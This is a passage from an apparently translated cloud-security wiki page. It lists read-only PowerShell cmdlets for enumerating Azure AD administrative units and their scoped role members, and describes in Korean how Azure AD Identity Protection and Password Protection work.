  1. Best Practices: Follow best practices to secure Azure AD from attacks.

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Azure AD Identity Protection (AIP)

Azure AD Identity Protection (AIP)는 자동 탐지 및 복구를 사용하여 Azure Active Directory의 사용자 ID를 보호하는 데 도움을 주는 보안 서비스입니다. AIP는 사용자 로그인 및 ID 구성의 위험을 지속적으로 모니터링하고 평가하며, 적절한 보안 조치를 자동으로 적용하여 다단계 인증을 요구하거나 잠재적으로 위험한 활동을 차단하는 등 조치를 취합니다. 이를 통해 조직은 ID 기반 보안 침해를 방지할 수 있습니다.

Flow:

  1. Azure AD Identity Protection은 사용자 활동을 모니터링하고 사용자 로그인, 인증 이벤트 및 기타 관련 활동에 대한 데이터를 수집합니다.

  2. 해당 서비스는 머신 러닝 알고리즘을 사용하여 이러한 데이터를 분석하고 잠재적인 보안 위협을 감지합니다.

  3. Azure AD Identity Protection은 위협(예: 로그인)에 위험 수준을 할당하고 필요한 경우 자동 조치를 수행하기 위해 경고를 생성합니다.

Azure AD Password Protection (APP)

Azure AD Password Protection (APP)는 강력한 암호 정책을 강제하여 Azure Active Directory의 약한 암호를 방지하는 보안 기능입니다. APP는 일반적으로 사용되는 약한 암호 및 그 변형을 차단하여 암호 관련 침해의 위험을 줄입니다. 이는 클라우드 수준 및 온프레미스 Active Directory에서 모두 적용될 수 있으며, 조직 전체적으로 암호 보안을 강화합니다.

References

Last updated